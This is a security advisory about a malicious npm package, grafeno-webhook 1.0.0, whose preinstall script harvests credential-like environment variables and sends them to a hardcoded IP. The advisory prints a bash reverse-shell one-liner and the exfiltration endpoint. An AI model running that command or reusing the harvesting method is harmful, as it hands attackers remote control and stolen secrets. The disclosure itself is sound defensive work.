MAL-2026-15573

    Dashboard / Malicious Package / MAL-2026-15573

    MAL-2026-15573

    Published: 29 Aug 2026Last Modified: 29 Aug 2026

    Summary: Malicious code in grafeno-webhook (npm)

    Details: Source: amazon-inspector (79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36) The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerates process.env, filters for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, base64-encodes the values together with os.hostname() and os.userInfo().username, and sends the blob via curl over plain HTTP to the hardcoded bare-IP endpoint http://216.126.236.46/r.php. On non-Windows platforms it additionally spawns an interactive bash reverse shell to 216.126.236.46:4444 (bash -i >& /dev/tcp/216.126.236.46/4444), giving the remote operator full command execution on the host running npm install. Host identifiers (hostname, username) are exfiltrated to the same IP, supporting victim tracking.

    References: https://www.npmjs.com/package/grafeno-webhook/v/1.0.0

    Affected packages

    Package

    Name: grafeno-webhook

    Purl: pkg:npm/grafeno-webhook

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0